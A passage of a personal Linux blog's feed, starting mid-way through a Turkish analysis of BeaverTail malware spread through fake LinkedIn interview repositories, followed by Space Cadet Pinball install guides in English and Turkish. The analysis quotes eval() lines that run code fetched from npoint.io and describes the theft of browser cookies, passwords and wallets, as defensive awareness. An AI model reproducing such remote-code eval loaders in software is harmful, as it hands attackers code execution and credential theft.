&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rs_L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rs_C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Buradaki &lt;code&gt;eval()&lt;/code&gt; fonksiyonu, &lt;code&gt;npoint.io&lt;/code&gt; &amp;uuml;zerinden o an &amp;ccedil;ekilen ve s&amp;uuml;rekli g&amp;uuml;ncellenen (obfuscated) zararl&amp;inodot; kodu sisteminizde tam yetkiyle &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;yor. Siz "projeyi kuruyorum" san&amp;inodot;rken, taray&amp;inodot;c&amp;inodot; session&amp;rsquo;lar&amp;inodot;n&amp;inodot;z &amp;ccedil;al&amp;inodot;n&amp;inodot;yor ve kripto c&amp;uuml;zdanlar&amp;inodot;n&amp;inodot;z bo&amp;scedil;alt&amp;inodot;l&amp;inodot;yor.&lt;/p&gt;
&lt;h2 id="analiz-beavertaili-parcalamak"&gt;🛠️ Analiz: BeaverTail'i Par&amp;ccedil;alamak&lt;a class="headerlink" href="#analiz-beavertaili-parcalamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu zararl&amp;inodot; yaz&amp;inodot;l&amp;inodot;m (BeaverTail), deobfuscator'lar&amp;inodot; &amp;scedil;a&amp;scedil;&amp;inodot;rtmak i&amp;ccedil;in sonsuz d&amp;ouml;ng&amp;uuml;ler (&lt;code&gt;while(!![])&lt;/code&gt;) ve karma&amp;scedil;&amp;inodot;k string tablolar&amp;inodot; kullan&amp;inodot;yor. Ancak biz Arch kullan&amp;inodot;c&amp;inodot;lar&amp;inodot;, her paketi tek tek incelemeden kurmayacak kadar "paronayak" oldu&amp;gbreve;umuz i&amp;ccedil;in bu tuzaklara d&amp;uuml;&amp;scedil;meyiz (d&amp;uuml;&amp;scedil;memeliyiz :D). &lt;/p&gt;
&lt;p&gt;Zararl&amp;inodot; kod &amp;ccedil;&amp;ouml;z&amp;uuml;ld&amp;uuml;&amp;gbreve;&amp;uuml;nde &amp;scedil;unlar&amp;inodot; yapt&amp;inodot;&amp;gbreve;&amp;inodot; ortaya &amp;ccedil;&amp;inodot;k&amp;inodot;yor:
*   &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;platform&lt;/code&gt;, &lt;code&gt;homeDir&lt;/code&gt; gibi sistem bilgilerini topluyor.
*   Brave, Chrome, Opera gibi taray&amp;inodot;c&amp;inodot;lar&amp;inodot;n hassas verilerini (cookie, password) tar&amp;inodot;yor.
*   Node.js ortam&amp;inodot;nda &lt;code&gt;eval()&lt;/code&gt; ile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in filesystem &amp;uuml;zerinde tam yetkiye sahip oluyor.&lt;/p&gt;
&lt;h2 id="neden-arch-kullancs-dusmez"&gt;🏰 Neden Arch Kullan&amp;inodot;c&amp;inodot;s&amp;inodot; D&amp;uuml;&amp;scedil;mez?&lt;a class="headerlink" href="#neden-arch-kullancs-dusmez" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;aka bir yana, bir Arch Linux kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;n terminal disiplini bu tarz sald&amp;inodot;r&amp;inodot;lara kar&amp;scedil;&amp;inodot; en b&amp;uuml;y&amp;uuml;k kalkand&amp;inodot;r. &lt;code&gt;yuceltoluyag@archlinux&lt;/code&gt; terminalinde &lt;code&gt;npm install&lt;/code&gt; demeden &amp;ouml;nce &lt;code&gt;package.json&lt;/code&gt;'a, ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;klara ve script&amp;rsquo;lere bakmak bizim geneti&amp;gbreve;imizde var. &lt;/p&gt;
&lt;p&gt;Kendi sistemlerimizde tecr&amp;uuml;be etti&amp;gbreve;imiz &amp;uuml;zere, &amp;ccedil;ocuklu&amp;gbreve;unda DC++ veya Limewire'dan "sketchy" dosyalar indirip bilgisayar&amp;inodot;na siber yolla bula&amp;scedil;an her t&amp;uuml;rl&amp;uuml; "hastal&amp;inodot;&amp;gbreve;&amp;inodot;" kapt&amp;inodot;ranlar, bug&amp;uuml;n bu sinsi yaz&amp;inodot;l&amp;inodot;mlar&amp;inodot; bir bak&amp;inodot;&amp;scedil;ta tan&amp;inodot;yacak "&amp;ouml;zel yeteneklere" sahip oldular. Paranoya bazen en b&amp;uuml;y&amp;uuml;k g&amp;uuml;venlik duvar&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="alnacak-dersler"&gt;🥊 Al&amp;inodot;nacak Dersler&lt;a class="headerlink" href="#alnacak-dersler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Repo'yu &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmadan &amp;Ouml;nce D&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;n:&lt;/strong&gt; LinkedIn'den gelen hi&amp;ccedil;bir yabanc&amp;inodot; repo'yu ana makinenizde (bare metal) &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot;n. Docker veya tamamen izole bir VM kullan&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;npoint.io ve eval() K&amp;inodot;rm&amp;inodot;z&amp;inodot; &amp;Ccedil;izgidir:&lt;/strong&gt; Bir projede d&amp;inodot;&amp;scedil;ar&amp;inodot;dan kod &amp;ccedil;ekip &lt;code&gt;eval()&lt;/code&gt; ile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;ran bir yap&amp;inodot; g&amp;ouml;r&amp;uuml;yorsan&amp;inodot;z, arkan&amp;inodot;za bakmadan ka&amp;ccedil;&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Idot;&amp;scedil; D&amp;uuml;nyas&amp;inodot; Kurtlar Sofras&amp;inodot;:&lt;/strong&gt; &amp;Ccedil;ok tatl&amp;inodot; teklifler, genelde zehirli bir elmad&amp;inodot;r. Hele ki "m&amp;uuml;lakat &amp;ouml;ncesi test projesi" zorunlulu&amp;gbreve;u varsa, iki kat dikkatli olun.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bu "BeaverTail" g&amp;ouml;z&amp;uuml; d&amp;ouml;nm&amp;uuml;&amp;scedil; s&amp;inodot;rtlanlar&amp;inodot;, i&amp;scedil; arayan insanlar&amp;inodot; hedef alacak kadar al&amp;ccedil;ald&amp;inodot;ysa, bizim de teknik savunmam&amp;inodot;z&amp;inodot; bir o kadar keskinle&amp;scedil;tirmemiz gerekiyor. &lt;a href="/pelican-statik-site-playwright-test/"&gt;Pelican Statik Sitenizi Playwright ile Test Edin&lt;/a&gt; yaz&amp;inodot;mda bahsetti&amp;gbreve;im o "test disiplinini" g&amp;uuml;venlik alan&amp;inodot;na da ta&amp;scedil;&amp;inodot;y&amp;inodot;n karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Stay paranoid, stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="kaynaklar-ve-tesekkur"&gt;🔗 Kaynaklar ve Te&amp;scedil;ekk&amp;uuml;r&lt;a class="headerlink" href="#kaynaklar-ve-tesekkur" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu t&amp;uuml;r sinsi operasyonlar&amp;inodot; de&amp;scedil;ifre etmek ger&amp;ccedil;ekten b&amp;uuml;y&amp;uuml;k bir sab&amp;inodot;r ve teknik takip gerektiriyor. Analiz s&amp;uuml;recinde Bogdan'&amp;inodot;n (himthe.dev) derledi&amp;gbreve;i veri setleri olduk&amp;ccedil;a ufuk a&amp;ccedil;&amp;inodot;c&amp;inodot;yd&amp;inodot;. Kendisine bu &amp;scedil;effaf tutumu i&amp;ccedil;in bir te&amp;scedil;ekk&amp;uuml;r bor&amp;ccedil;luyuz.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.himthe.dev/blog/linkedin-interview-scams" rel="noopener noreferrer" target="_blank"&gt;Bogdan'&amp;inodot;n Orijinal Analizi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xndbogdan/malicious-repositories" rel="noopener noreferrer" target="_blank"&gt;&amp;Idot;f&amp;scedil;a Edilen Zararl&amp;inodot; GitHub Repolar&amp;inodot; (Liste)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/linux-guvenlik-clamav-tam-kapsamli-rehber/"&gt;Linux G&amp;uuml;venlik: ClamAV ile Tam Kapsaml&amp;inodot; Rehber&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-ddos-hizmet-kesintisi/"&gt;Arch Linux DDOS ve Hizmet Kesintisi Analizi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Kurulum Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Haberler"/><category term="linkedin scam"/><category term="beavertail"/><category term="malware"/><category term="lazarus group"/><category term="siber guvenlik"/><category term="arch linux"/><category term="reverse engineering"/></entry><entry><title>A Breath of Nostalgia in Linux: Space Cadet Pinball and Those Secret Mornings</title><link href="https://yuceltoluyag.github.io/en/linux-space-cadet-pinball-kurulumu/" rel="alternate"/><published>2026-05-11T19:12:00+03:00</published><updated>2026-05-11T19:12:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/en/linux-space-cadet-pinball-kurulumu/</id><summary type="html">&lt;p&gt;We bring the legend of the Windows XP era, Space Cadet Pinball, to Linux. Both a sentimental journey and a 1024x768 resolution upgrade guide.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Do you remember those magical days when the internet was not yet this widespread in Turkey, and we secretly opened the computer every morning before going to school, despite the family's "electronic goods" allergy? Accompanied by that slightly crackling sound of the CRT monitor, we would turn the volume of the speakers to the lowest and start Windows XP's famous &lt;code&gt;Space Cadet Pinball&lt;/code&gt; game. Solitaire was very boring, Minesweeper was too complex at that age; but the sound of that ball, those lights... That was a real escape.&lt;/p&gt;
&lt;p&gt;This legend, which is the exact definition of "old but gold", is actually livelier than ever on our Linux machines today, thanks to reverse engineering. Let's see how we can bring this nostalgia to our modern systems together.&lt;/p&gt;
&lt;h2 id="installation-the-arch-way-and-others"&gt;🛠️ Installation: The Arch Way and Others&lt;a class="headerlink" href="#installation-the-arch-way-and-others" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As an Arch Linux user, my favorite is of course going through the AUR; however, Flatpak also has its own practicality. I am leaving both ways here.&lt;/p&gt;
&lt;h3 id="1-arch-linux-aur-method"&gt;1. Arch Linux (AUR) Method&lt;a class="headerlink" href="#1-arch-linux-aur-method" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you have installed Arch, let's continue with that &lt;code&gt;yuceltoluyag@archlinux&lt;/code&gt; terminal discipline I mentioned in my Playwright post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;space-cadet-pinball-git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-flatpak-method"&gt;2. Flatpak Method&lt;a class="headerlink" href="#2-flatpak-method" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you want cross-system portability, Flathub comes to the rescue:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;flatpak&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;com.github.k4zmu2a.spacecadetpinball
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="technical-level-up-1024x768-resolution-full-tilt_1"&gt;🚀 Technical "Level Up": 1024x768 Resolution (Full Tilt!)&lt;a class="headerlink" href="#technical-level-up-1024x768-resolution-full-tilt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The original game was in 480p resolution and might look a bit "muddy" on modern monitors. However, by using the data files of the version sold under the name "Full Tilt! Pinball" back in the day, we can increase the resolution to a gigantic (yes, it was gigantic for those times) &lt;strong&gt;1024x768&lt;/strong&gt; level.&lt;/p&gt;
&lt;h3 id="how-to-do-it-for-flatpak"&gt;How to Do It? (For Flatpak)&lt;a class="headerlink" href="#how-to-do-it-for-flatpak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Run the game at least once so that the data folder is created.&lt;/li&gt;
&lt;li&gt;Find the "Full Tilt Pinball" data on &lt;code&gt;Archive.org&lt;/code&gt; and extract the contents of &lt;code&gt;CADET.ZIP&lt;/code&gt; into this folder:
   &lt;code&gt;bash
   yuceltoluyag@archlinux:~$ cd ~/.var/app/com.github.k4zmu2a.spacecadetpinball/data/SpaceCadetPinball
   yuceltoluyag@archlinux:~$ unzip ~/Downloads/CADET.ZIP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We may need to clean up the old low-resolution files so that they are not prioritized by the game (Sudo might be required):
   &lt;code&gt;bash
   yuceltoluyag@archlinux:~$ sudo rm -r $(flatpak info --show-location com.github.k4zmu2a.spacecadetpinball)/files/extra/Pinball&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="a-small-note-do-the-rules-change_1"&gt;🧠 A Small Note: Do the Rules Change?&lt;a class="headerlink" href="#a-small-note-do-the-rules-change" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you use the Full Tilt data, you will notice an interesting detail: while the lights in the launch tunnel blink on and off (toggle) as the ball passes over them in the original version, they stay lit in the Full Tilt version. This makes developing bumpers slightly easier. If you are a "pinball nerd" like me, you will immediately feel this difference.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="final-word-why-are-we-still-playing"&gt;🥊 Final Word: Why Are We Still Playing?&lt;a class="headerlink" href="#final-word-why-are-we-still-playing" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today, we play ray-traced games in 4K resolution, but none of them replace the Pinball played in the morning chill, in a school uniform, with the fear of getting caught by the family. This game is not just software for us; it is a part of our childhood, our pure curiosity for technology, and "good old days."&lt;/p&gt;
&lt;p&gt;Install it, give it a try, and if your eyes fill with tears when you hear the sound of that ball, know that you are not alone. Don't forget to try passing the &lt;code&gt;Friday13&lt;/code&gt; high score!&lt;/p&gt;
&lt;p&gt;Alright then, goodbye karda&amp;scedil;!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/pelican-statik-site-playwright-test/"&gt;Test Your Pelican Static Site with Playwright&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/raspberry-pi-zero-ram-diskless-web-server/"&gt;Throw Away the Disks: Hosting a Website on RAM with Raspberry Pi Zero&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Oyun"/><category term="linux"/><category term="space cadet pinball"/><category term="nostalji"/><category term="windows xp"/><category term="arch linux"/><category term="flatpak"/><category term="aur"/></entry><entry><title>Linux'ta Nostalji Rüzgarı: Space Cadet Pinball ve O Gizli Sabahlar</title><link href="https://yuceltoluyag.github.io/linux-space-cadet-pinball-kurulumu/" rel="alternate"/><published>2026-05-11T19:12:00+03:00</published><updated>2026-05-11T19:12:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/linux-space-cadet-pinball-kurulumu/</id><summary type="html">&lt;p&gt;Windows XP döneminin efsanesi Space Cadet Pinball'u Linux'a getiriyoruz. Hem duygusal bir yolculuk hem de 1024x768 çözünürlük artırma rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&amp;Idot;nternetin T&amp;uuml;rkiye&amp;rsquo;de hen&amp;uuml;z bu kadar yayg&amp;inodot;n olmad&amp;inodot;&amp;gbreve;&amp;inodot;, her sabah okula gitmeden &amp;ouml;nce ailenin "elektronik e&amp;scedil;ya" alerjisine ra&amp;gbreve;men gizli sakl&amp;inodot; bilgisayar&amp;inodot; a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z o b&amp;uuml;y&amp;uuml;l&amp;uuml; g&amp;uuml;nleri hat&amp;inodot;rlar m&amp;inodot;s&amp;inodot;n&amp;inodot;z? CRT monit&amp;ouml;r&amp;uuml;n o hafif c&amp;inodot;z&amp;inodot;rt&amp;inodot;l&amp;inodot; sesi e&amp;scedil;li&amp;gbreve;inde, hoparl&amp;ouml;r&amp;uuml;n sesini en k&amp;inodot;s&amp;inodot;&amp;gbreve;a getirip, Windows XP&amp;rsquo;nin o me&amp;scedil;hur &lt;code&gt;Space Cadet Pinball&lt;/code&gt; oyununu ba&amp;scedil;lat&amp;inodot;rd&amp;inodot;k. Solitaire &amp;ccedil;ok s&amp;inodot;k&amp;inodot;c&amp;inodot;yd&amp;inodot;, May&amp;inodot;n Tarlas&amp;inodot; ise o ya&amp;scedil;larda fazla karma&amp;scedil;&amp;inodot;kt&amp;inodot;; ama o topun sesi, o &amp;inodot;&amp;scedil;&amp;inodot;klar... &amp;Idot;&amp;scedil;te o ger&amp;ccedil;ek bir ka&amp;ccedil;&amp;inodot;&amp;scedil;t&amp;inodot;.&lt;/p&gt;
&lt;p&gt;"Old but gold" deyiminin tam kar&amp;scedil;&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; olan bu efsane, asl&amp;inodot;nda tersine m&amp;uuml;hendislik sayesinde bug&amp;uuml;n Linux makinelerimizde her zamankinden daha canl&amp;inodot;. Gelin bu nostaljiyi modern sistemlerimize nas&amp;inodot;l ta&amp;scedil;&amp;inodot;r&amp;inodot;z, beraber bakal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="kurulum-arch-yolu-ve-digerleri"&gt;🛠️ Kurulum: Arch Yolu ve Di&amp;gbreve;erleri&lt;a class="headerlink" href="#kurulum-arch-yolu-ve-digerleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Arch Linux kullan&amp;inodot;c&amp;inodot;s&amp;inodot; olarak benim favorim tabii ki AUR &amp;uuml;zerinden gitmek; ancak Flatpak&amp;rsquo;in de kendine has bir pratikli&amp;gbreve;i var. Her iki yolu da buraya b&amp;inodot;rak&amp;inodot;yorum.&lt;/p&gt;
&lt;h3 id="1-arch-linux-aur-yontemi"&gt;1. Arch Linux (AUR) Y&amp;ouml;ntemi&lt;a class="headerlink" href="#1-arch-linux-aur-yontemi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er bir Arch kurduysan&amp;inodot;z, Playwright yaz&amp;inodot;mda bahsetti&amp;gbreve;im o &lt;code&gt;yuceltoluyag@archlinux&lt;/code&gt; terminal disipliniyle devam edelim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;space-cadet-pinball-git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-flatpak-yontemi"&gt;2. Flatpak Y&amp;ouml;ntemi&lt;a class="headerlink" href="#2-flatpak-yontemi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er sistemler aras&amp;inodot; ta&amp;scedil;&amp;inodot;nabilirlik isterseniz, Flathub imdad&amp;inodot;m&amp;inodot;za yeti&amp;scedil;iyor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;flatpak&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;com.github.k4zmu2a.spacecadetpinball
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="teknik-level-up-1024x768-cozunurluk-full-tilt_1"&gt;🚀 Teknik "Level Up": 1024x768 &amp;Ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;k (Full Tilt!)&lt;a class="headerlink" href="#teknik-level-up-1024x768-cozunurluk-full-tilt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Orijinal oyun 480p &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kteydi ve modern monit&amp;ouml;rlerde biraz "&amp;ccedil;amur" gibi g&amp;ouml;r&amp;uuml;nebilir. Ancak zaman&amp;inodot;nda "Full Tilt! Pinball" ad&amp;inodot;yla sat&amp;inodot;lan versiyonun veri dosyalar&amp;inodot;n&amp;inodot; kullanarak &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;&amp;gbreve;&amp;uuml; devasa (evet o zamanlar i&amp;ccedil;in devasayd&amp;inodot;) &lt;strong&gt;1024x768&lt;/strong&gt; seviyesine &amp;ccedil;&amp;inodot;karabiliriz.&lt;/p&gt;
&lt;h3 id="nasl-yaplr-flatpak-icin"&gt;Nas&amp;inodot;l Yap&amp;inodot;l&amp;inodot;r? (Flatpak i&amp;ccedil;in)&lt;a class="headerlink" href="#nasl-yaplr-flatpak-icin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Oyunu en az bir kere &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n ki veri klas&amp;ouml;r&amp;uuml; olu&amp;scedil;sun.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Archive.org&lt;/code&gt; &amp;uuml;zerinden "Full Tilt Pinball" verilerini bulun ve &lt;code&gt;CADET.ZIP&lt;/code&gt; i&amp;ccedil;indekileri &amp;scedil;u klas&amp;ouml;re bo&amp;scedil;alt&amp;inodot;n:
    &lt;code&gt;bash
    yuceltoluyag@archlinux:~$ cd ~/.var/app/com.github.k4zmu2a.spacecadetpinball/data/SpaceCadetPinball
    yuceltoluyag@archlinux:~$ unzip ~/Downloads/CADET.ZIP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Eski d&amp;uuml;&amp;scedil;&amp;uuml;k &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kl&amp;uuml; dosyalar&amp;inodot;n oyun taraf&amp;inodot;ndan &amp;ouml;ncelikli g&amp;ouml;r&amp;uuml;lmemesi i&amp;ccedil;in onlar&amp;inodot; temizlememiz gerekebilir (Sudo gerekebilir):
    &lt;code&gt;bash
    yuceltoluyag@archlinux:~$ sudo rm -r $(flatpak info --show-location com.github.k4zmu2a.spacecadetpinball)/files/extra/Pinball&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="kucuk-bir-not-kurallar-degisiyor-mu_1"&gt;🧠 K&amp;uuml;&amp;ccedil;&amp;uuml;k Bir Not: Kurallar De&amp;gbreve;i&amp;scedil;iyor mu?&lt;a class="headerlink" href="#kucuk-bir-not-kurallar-degisiyor-mu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Full Tilt verilerini kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda ilgin&amp;ccedil; bir detay fark edeceksiniz: Orijinal versiyonda f&amp;inodot;rlatma t&amp;uuml;nelindeki &amp;inodot;&amp;scedil;&amp;inodot;klar top &amp;uuml;zerinden ge&amp;ccedil;tik&amp;ccedil;e yan&amp;inodot;p s&amp;ouml;nerken (toggle), Full Tilt versiyonunda yan&amp;inodot;k kal&amp;inodot;yor. Bu da bumper&amp;rsquo;lar&amp;inodot; (tamponlar&amp;inodot;) geli&amp;scedil;tirmeyi bir nebze kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;yor. Benim gibi bir "pinball nerd"&amp;uuml;yseniz bu fark&amp;inodot; hemen hissedeceksiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="son-soz-neden-hala-oynuyoruz"&gt;🥊 Son S&amp;ouml;z: Neden Hala Oynuyoruz?&lt;a class="headerlink" href="#son-soz-neden-hala-oynuyoruz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bug&amp;uuml;n 4K &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte, &amp;inodot;&amp;scedil;&amp;inodot;n izlemeli (ray tracing) oyunlar oynuyoruz ama hi&amp;ccedil;birisi o sabah ayaz&amp;inodot;nda, okul formas&amp;inodot;yla, aileye yakalanma korkusuyla oynanan Pinball&amp;rsquo;un yerini tutmuyor. Bu oyun bizim i&amp;ccedil;in sadece bir yaz&amp;inodot;l&amp;inodot;m de&amp;gbreve;il; &amp;ccedil;ocuklu&amp;gbreve;umuzun, teknolojiye olan o saf merak&amp;inodot;m&amp;inodot;z&amp;inodot;n ve "g&amp;uuml;zel g&amp;uuml;nlerin" bir par&amp;ccedil;as&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Siz de kurun, bir el at&amp;inodot;n ve o topun sesini duydu&amp;gbreve;unuzda g&amp;ouml;zleriniz dolarsa bilin ki yaln&amp;inodot;z de&amp;gbreve;ilsiniz. &lt;code&gt;Friday13&lt;/code&gt; skorunu ge&amp;ccedil;meyi denemeyi unutmay&amp;inodot;n!&lt;/p&gt;
&lt;p&gt;Hadi eyvallah karda&amp;scedil;!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/pelican-statik-site-playwright-test/"&gt;Pelican Statik Sitenizi Playwright ile Test Edin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/raspberry-pi-zero-ram-diskless-web-server/"&gt;Diskleri &amp;Ccedil;&amp;ouml;pe At&amp;inodot;n: Raspberry Pi Zero ile RAM &amp;Uuml;st&amp;uuml;nde Site Bar&amp;inodot;nd&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Oyun"/><category term="linux"/><category term="space cadet pinball"/><category term="nostalji"/><category term="windows xp"/><category term="arch linux"/><category term="flatpak"/><category term="aur"/></entry><entry><title>Test Your Pelican Static Site with Playwright: Goodbye to Errors</title><link href="https://yuceltoluyag.github.io/en/pelican-statik-site-playwright-test/" rel="alternate"/><published>2026-05-11T01:48:00+03:00</published><updated>2026-05-11T01:48:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/en/pelican-statik-site-playwright-test/</id><summary type="html">&lt;p&gt;I explain how to put your static site produced with Pelican through automatic tests using Playwright and Python before taking it live.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In my previous &lt;a href="/en/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Installation&lt;/a&gt; post, I explained how to install this beast on our system. Now it's time to put that power into action to debug errors on our own blog (Pelican).&lt;/p&gt;
